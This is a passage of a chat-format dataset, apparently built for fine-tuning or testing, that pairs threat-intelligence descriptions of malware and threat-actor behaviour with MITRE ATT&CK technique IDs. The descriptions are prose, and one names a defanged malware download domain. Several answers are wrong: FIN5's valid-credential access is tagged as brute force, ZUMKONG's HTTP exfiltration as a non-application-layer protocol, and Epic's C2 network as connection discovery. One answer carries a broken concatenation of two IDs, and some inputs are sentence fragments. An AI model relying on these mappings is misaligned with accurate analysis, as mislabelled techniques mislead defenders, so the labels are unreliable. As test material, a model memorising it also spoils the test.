                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Avaddon encrypts the victim system using a combination of AES256 and RSA encryption schemes."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Deriving C2 URLs from a Domain Generation Algorithm (DGA) using lists of domain names, subdomains, top-level domains (TLDs), Uniform Resource Identifiers (URIs), file names, and file extensions"
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLAINTEE has downloaded and executed additional plugins."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has used the command line for execution."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete malware used FTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The observed JSS Loader infection led to the download and execution of a setup VBScript from https[:]//petshopbook[.]com. This script installs a custom Sekur PS stager to %LOCALAPPDATA%\\Microsoft\\WindowsDefender\\ClearTemp.ps1 and establishes persistence for this stager with a second VBS that is launched by a scheduled task"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has used a script (atexec.py) to execute a command on a target machine via Task Scheduler."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed can disguise JavaScript files as PDFs."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal has decoded strings in the malware using XOR and RC4."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Since it is a very long term group, some victims may be impossible to identify now"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent.btz obtains the victim username and saves it to a file."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has obtained specific Registry keys and values on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork hides base64-encoded and encrypted C2 server locations in comments on legitimate websites."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GrimAgent can enumerate the IP and domain of a target system."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used a variety of public exploits, including CVE 2020-0688 and CVE 2020-17144, to gain execution on vulnerable Microsoft Exchange; they have also conducted SQL injection attacks against external websites."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot creates a scheduled task on the system that provides persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot has gained execution through users opening malicious links."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Epic backdoors are commanded by a huge network of hacked servers that deliver command and control functionality"
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has established persistence by using the Registry option in PowerShell Empire to add a Run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group used SSH and the PuTTy PSCP utility to gain access to a restricted segment of a compromised network."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo uses JavaScript to get the system time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors have downloaded POWERTRICK, Metasploit Meterpreter, and Cobalt Strike BEACON payloads following the initial compromise. BEACON payloads have commonly been executed after moving laterally to new hosts within the victim network. The attackers have employed Cobalt Strike payloads crafted to maintain persistence through reboot via a scheduled task on critical systems in victim environments. We have observed actors executing encoded PowerShell commands that ultimately executed instances of the PowerShell EMPIRE backdoor. In at least once case, attackers have maintained access to a victim environment using stolen credentials to access corporate VPN infrastructure configured to require only single-factor authentication"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The second portion of EnvyScout is a modified version of the open-source tool FileSaver, which is intended to assist in the writing of files to disk via JavaScript. This methodology may circumvent static analysis of known malicious file types by obscuring them within dynamically altered content upon execution"
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "From a code perspective, little has changed between Ryuk binaries compiled in March and those compiled in September. The functionality has remained overall static since introducing features for targeting hosts on a local area network (LAN). The most notable change to Ryuk is the introduction of code obfuscation. The code obfuscations appear to be designed to slow down the reverse engineering process by using anti-disassembly and code transformation obfuscation techniques"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As happens so many times, it contains a Visual Basic script that will execute the malicious activities. This ZIP file contains a Python interpreter and Python script that is actually the RAT. The Word macro will unzip and execute the main script called \"launcher.py. The launcher script is responsible for checking the environment that the doc is currently being opened in. It assumes that all sandboxes will have hard drives smaller than 62GB. If it's in a sandbox environment, it will overwrite the malware scripts with the contents of the file \"License.txt\" and exit, thus deleting itself. Anti-sandbox code If it determines that it is not running in a sandbox environment, it will generate a unique ID, that is then replaced directly with the Python source code of the main scripts before executing it"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Contains two DLL function exports: start and ss2 - Not dropped to the disk - Responsible for terminating processes and stopping/disabling services related to endpoint security - Responsible for file encryption - Responsible for creating multiple worker threads for encryption - Responsible for creating the ransom notes - No longer uses the process rundll32.exe as a loader, but instead uses the MegaCortex binary as the DLL loader - Responsible for deleting volume shadow copies using vssadmin.exe and wiping deleted data from all drives using cipher.exe"
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After downloading the executable payload, the secondary VBScript runs the following command on the command line (T1059) to kill any existing msiexec.exe process instances and use the ping application to sleep for two seconds before using the legitimate msiexec.exe application (T1218) to launch the downloaded PlayerVLC.msi file"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuietSieve has the ability to execute payloads in a hidden window."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobian RAT uses DNS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Operation Honeybee, the threat actors used a Visual Basic script embedded within a Word document to download an implant."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Note: DLL side loading is a prevalent persistence technique that is used to launch a multitude of backdoors"
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has used fragmented strings, environment variables, standard input (stdin), and native character-replacement functionalities to obfuscate commands."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "*Command_Create&Inject:  This command creates a new process (using a supplied filename as the process name) and then injects malicious code into it"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has used and modified open-source tools like Impacket, Mimikatz, and pwdump."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE can use launch agents for persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Executive: looks for a file with commands and executes them with cmd.exe. The output is saved to a file."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "USBStealer drops itself onto removable media and relies on Autorun to execute the malicious file when a user opens the removable media on another system."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has used a script to attempt RPC authentication against a number of hosts."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT19 has obtained and used publicly-available tools like Empire."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can interact with a victim’s Outlook session and look through folders and emails."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 3: CVE-2017-11882 and POWRUNER attack sequence  The malicious .rtf file exploits CVE-2017-11882"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FireEye has dubbed the cybercrime gang FIN5. One of the most unique things about FIN5 is that in every intrusion we responded to where FIN5 has been active, legitimate access was identified. They had valid user credentials to remotely log into the network,\" said Barry Vengerik, principal threat analyst at FireEye. No sexy zero-days, no remote exploits -- not even spearphishing"
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "downloads additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To set up persistence, the loader creates a folder named “c:\\temp”, sets its attributes to be a hidden and system folder to hide the folder from view in Windows Explorer"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While the URI string has changed from Trickbot and Anchor variants, the phishing tactics and use of post-infection reconnaissance commands remains the same. In the Bazar backdoor, the tag (or gtag) used to identify Trickbot campaigns is removed from C2 URIs. It may have been moved to the cookie HTTP header parameter"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kazuar stages command output and collected data in files before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee can capture and compress stolen credentials from the Registry and volume shadow copies."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of obtaining directory, file, and drive listings."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used social media platforms, including LinkedIn and Twitter, to send spearphishing messages."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects data from the clipboard."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum can identify proxy servers configured and used by the victim, and use it to make HTTP requests to C2 its server."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has 2 methods for elevating integrity. It can bypass UAC through eventvwr.exe and sdclt.exe."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "C2 traffic can communicate via TCP raw sockets."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Backdoor.Pirpi also collects information about the target’s local network, including the domain controller and workstations"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has stolen Chrome browser cookies by copying the Chrome profile directories of targeted users."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has used external remote services such as virtual private networks (VPN) to gain initial access."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used an instrumentor script to gather the names of all services running on a victim's system."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "calls cmd.exe to run various DLL files via rundll32 and also to perform file cleanup.  also has the capability to invoke a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI has sent data and files to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT19 configured its payload to inject into the rundll32.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The next program sent to victims enumerates all the drives on the infected system and executes the following command on them"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "With these outputs, FIN6 was able to identify user accounts that could access additional hosts in the domain"
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses web injects and browser redirection to trick the user into providing their login credentials on a fake or modified web page."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Encrypting the data. Exfiltrating gathered data through a POST request or by uploading it to an FTP server. Sending execution logs to a remote server"
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Historically, the group has employed the use of a series of phishing origin points, abusing access first at one university and then another"
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak used legitimate programs such as AmmyyAdmin and Team Viewer for remote interactive C2 to target systems."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can also perform pass-the-ticket."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JHUHUGIT has exploited CVE-2015-1701 and CVE-2015-2387 to escalate privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SHARPSTATS has used base64 encoding and XOR to obfuscate PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "credential stealer ZUMKONG emails credentials from the victim using HTTP POST requests."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To achieve privilege escalation within the environment, FIN6 utilized a named pipe impersonation technique included within the Metasploit framework that allows for SYSTEM-level privilege escalation"
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "injects DLL files into iexplore.exe."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has used tools including BITSAdmin to test internet connectivity from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork has signed malware with self-signed certificates from fictitious and spoofed legitimate software companies."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
